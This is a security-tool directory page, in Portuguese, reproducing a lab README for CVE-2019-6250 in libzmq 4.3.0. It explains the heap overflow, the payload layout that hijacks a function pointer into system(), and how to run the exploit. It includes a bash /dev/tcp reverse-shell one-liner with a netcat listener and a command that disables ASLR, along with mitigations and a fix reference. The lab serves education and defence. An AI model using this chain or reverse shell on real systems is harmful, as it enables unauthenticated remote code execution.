Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2019-6250-lab — Laboratrio de RCE pr-autenticação de ponta a ponta para CVE-2019-6250 (libzmq <= 4.3.0, protocolo de fios ZMTP/2.0) | Kitploit
Ferramentas/GitHubGitHub/dinosn/cve-2019-6250-lab
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoFerramenta de Acesso RemotoDesenvolvimento de PayloadsExploração de BináriosLabs e Prática
GitHubdinosn/cve-2019-6250-lab

cve-2019-6250-lab

Laboratrio de RCE pr-autenticação de ponta a ponta para CVE-2019-6250 (libzmq <= 4.3.0, protocolo de fios ZMTP/2.0)

Ver Repositório
3há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2019-6250 — Laboratório de RCE pré-autenticação no libzmq

CVE CVSS Afetado Licença

Cadeia RCE funcional de ponta a ponta + laboratório reproduzível para CVE-2019-6250, o estouro de buffer na heap pré-autenticação no v2_decoder_t::size_ready do libzmq. Um estouro aritmético de ponteiro uint64_t permite que um par não autenticado sobrescreva o ponteiro de função adjacente msg_t::content_t::ffn no caminho ZMTP/2.0 e, em seguida, o acione via fechamento de socket TCP → ~v2_decoder_t() → → .

_in_progress.close()
system(cmd)

Por Nicolas Krassas (@dinosn).

Uso exclusivo em laboratório. Este kit acompanha uma versão intencionalmente vulnerável do libzmq 4.3.0. Não exponha a porta 5555 fora do laboratório. O bug foi corrigido há sete anos no libzmq 4.3.1 (commit 1a2ed127).


Demonstração

Cadeia system() — prova de arquivo

cadeia system

Reverse shell — root interativo

reverse shell

Teste automatizado de fumaça ponta a ponta

teste de fumaça


TL;DR (Docker)

root@kitploit:~
docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
           -p 5555:5555 cve-2019-6250-lab

# dentro do container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250        # <-- criado pelo processo servidor libzmq

TL;DR (bare metal — Debian 12 / Kali 2024.x / Ubuntu 22.04)

root@kitploit:~
sudo ./setup.sh                       # compila libzmq 4.3.0 + alvo, desativa ASLR
sudo ./start_server.sh                # bind tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555           # cmd padrão: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250

Reverse shell

root@kitploit:~
# terminal 1 — ouvinte
nc -lvnp 4444

# terminal 2 — dispara a cadeia
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'

Você deve ver algo como:

root@kitploit:~
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#

A linha cannot set terminal process group (1355844) confirma que o shell foi gerado pelo processo alvo libzmq (PID 1355844), e não por nada que você executou localmente.


Estrutura do repositório

root@kitploit:~
.
├── README.md             # você está aqui
├── server.c              # pequeno ouvinte PULL — o alvo vulnerável
├── exploit.py            # cadeia RCE completa
├── setup.sh              # provisionador bare-metal (clona + compila libzmq 4.3.0)
├── start_server.sh       # inicia/reinicia o alvo
├── read_addresses.sh     # regenera o perfil de endereços para uma imagem diferente
├── run_lab_test.sh       # teste de fumaça automatizado ponta a ponta (amigável para CI)
├── Dockerfile            # laboratório conteinerizado com um comando
└── screenshots/          # capturas de tela do README (geradas com charmbracelet/freeze)

Mecânica

1. O bug

src/v2_decoder.cpp:117 (libzmq 4.3.0):

root@kitploit:~
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
              || ((unsigned char *) read_pos_ + msg_size_         //  <-- wraps
                  > (allocator.data () + allocator.size ())))) {
    rc = _in_progress.init_size (static_cast<size_t> (msg_size_));   // caminho seguro
} else {
    rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
                            allocator.buffer (), allocator.provide_content ());
    // caminho de aliasing zero-copy — _in_progress.data() == read_pos_
}

msg_size_ é o uint64_t big-endian controlado pelo atacante do cabeçalho do quadro LARGE do ZMTP/2.0. Com msg_size_ = 0xFFFFFFFFFFFFFFFF, a soma read_pos_ + msg_size_ estoura módulo 2⁶⁴ e termina menor que o lado direito. A verificação de limites avalia como falsa → a execução cai no caminho zero-copy → a mensagem _in_progress faz aliasing do buffer de recepção. O decodificador então solicita ao kernel mais 0xFFFFFFFFFFFFFFFF bytes em read_pos_, e recv() grava felizmente nosso payload além do fim do buffer de recepção no array content_t[] adjacente (alocado no mesmo bloco malloc() em decoder_allocators.cpp:88).

2. A cadeia

root@kitploit:~
[ atomic_counter_t (refcnt) ]   8 bytes
[ recv buffer ]                 8192 bytes  ← bytes começam a cair em read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
                                ↑ content_t[0] começa em read_pos_+8183

Enviamos 8224 bytes de payload estruturados de forma que:

deslocamento no payloadbyteso que sobrescreve
[0:16]preenchimento(no buffer de recepção)
[16:K]string de comando + NUL(no buffer de recepção — argumento do system)
[K:8183]preenchimento(no buffer de recepção)
[8183:8191]read_pos+16content_t[0].data (→ comando)
[8191:8199]0content_t[0].size
[8199:8207]&systemcontent_t[0].ffn (alvo do fluxo de controle)
[8207:8215]0content_t[0].hint
[8215:8223]0content_t[0].refcnt

Quando fechamos o socket TCP, o ~v2_decoder_t() do servidor chama _in_progress.close(). Em msg_t::close:

root@kitploit:~
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
    content->ffn(content->data, content->hint);     //  -> system(cmd)
}

init_external_storage definiu _u.zclmsg.flags = 0, então o atalho OR pega o ramo imediatamente — refcnt nem é verificado. Nosso ffn sobrescrito é executado.

Sem ROP, sem shellcode, sem vazamento de informação: apenas uma resolução de símbolo da libc e uma string de comando inline.

3. Alcançando v2_decoder_t sem autenticação

Olhando para stream_engine.cpp:707:

root@kitploit:~
bool zmq::stream_engine_t::handshake_v2_0 ()
{
    if (_session->zap_enabled ()) { error (...); return false; }
    _encoder = new v2_encoder_t (...);
    _decoder = new v2_decoder_t (...);     // <-- NENHUM objeto de mecanismo
    return true;
}

O caminho ZMTP/2.0 instancia v2_decoder_t com nenhum mecanismo. Apenas ZAP rejeita conexões 2.0, e ZAP está desligado por padrão. Assim que um par envia o cumprimento ZMTP/2.0 de 12 bytes (0xff + 8 nulos + 0x7f + revisão 0x01 + tipo de socket), cada byte subsequente é analisado por v2_decoder_t. Sem autenticação. Sem handshake. Sem máquina de estado de mecanismo.


Evidência ASAN

Opcional: compile com -fsanitize=address e observe o relatório de estouro de buffer na heap:

relatório asan

A 0 bytes after 18160-byte region confirma o tamanho do bloco que calculamos: 8 (atomic_counter) + 8192 (buffer de recepção) + 249 × 40 (array content_t) = 18160. O local de alocação em handshake_v2_0:719 confirma que o bug é acionado no caminho ZMTP/2.0 sem autenticação.


Por que endereços fixos

Com kernel.randomize_va_space=0, a base da libc, a base do libzmq, a heap e a arena malloc da thread de E/S estão todos em endereços determinísticos. O perfil padrão em exploit.py (DEFAULT_PROFILE) foi capturado para a compilação do laboratório incluída (Debian 12 / Kali 2024.1 / glibc 2.38, libzmq 4.3.0 modo release -O2):

campovalorfonte
libc_base0x7ffff7c00000/proc/<pid>/maps
system_off0x53910nm -D /lib/x86_64-linux-gnu/libc.so.6
read_pos0x7ffff000bbc1_buf + sizeof(atomic_counter_t) + 9
dist_to_content8183derivado do layout
cmd_offset16onde no colocamos o comando

Ao portar para uma compilação diferente de glibc / libzmq, execute ./read_addresses.sh > profile.json após start_server.sh e depois passe --profile profile.json para o exploit.

Em um ataque real, você precisaria de uma primitiva de vazamento de informação ou de uma chamada one-gadget que não requer controle de argumento. Ambos estão fora do escopo deste laboratório — o objetivo aqui é demonstrar o pipeline do bug ao shell de forma limpa, não derrotar o ASLR.


Mitigações

DefesaEfeito
Atualizar para libzmq ≥ 4.3.1Corrigido. O commit 1a2ed127 reescreve a verificação de limites como msg_size_ > size_t(allocator.data()+size()-read_pos_) — nenhum estouro possível.
zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) com qualquer n positivoMitiga. Interrompe a verificação de limites quebrada antes que possa estourar.
Ativar autenticação ZAPBloqueia conexões ZMTP/2.0 (rejeitadas em stream_engine.cpp:709). Não corrige o bug; apenas impede o caminho não autenticado.
ASLRRetarda a weaponização mas não impede — a primitiva da cadeia em si não é afetada.
Stack canaries / NX / RELRONenhum destes protege contra um sequestro de ponteiro de função na heap.

Limpeza

root@kitploit:~
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2     # restaura ASLR padrão

Referências

  • HackerOne #477073 — divulgação original (Guido Vranken).
  • zeromq/libzmq PR #3353 — a correção de uma linha.
  • zeromq/libzmq issue #3351 — discussão pública.
  • NVD CVE-2019-6250.
  • 37/ZMTP — especificação do Protocolo de Transporte de Mensagens ZeroMQ.
  • Writeup do SystemTek.

Autor

Nicolas Krassas — @dinosn

Licença

MIT © Nicolas Krassas. O código-fonte intencionalmente vulnerável do libzmq 4.3.0 é obtido no momento da compilação do repositório upstream LGPLv3-com-exceções / MPLv2 — sua licença se aplica separadamente a esse código.

Aviso legal

Apenas para pesquisa defensiva de segurança, educação e testes de segurança autorizados. Não implante a compilação vulnerável incluída fora de um ambiente de laboratório contido.

Baixar ferramenta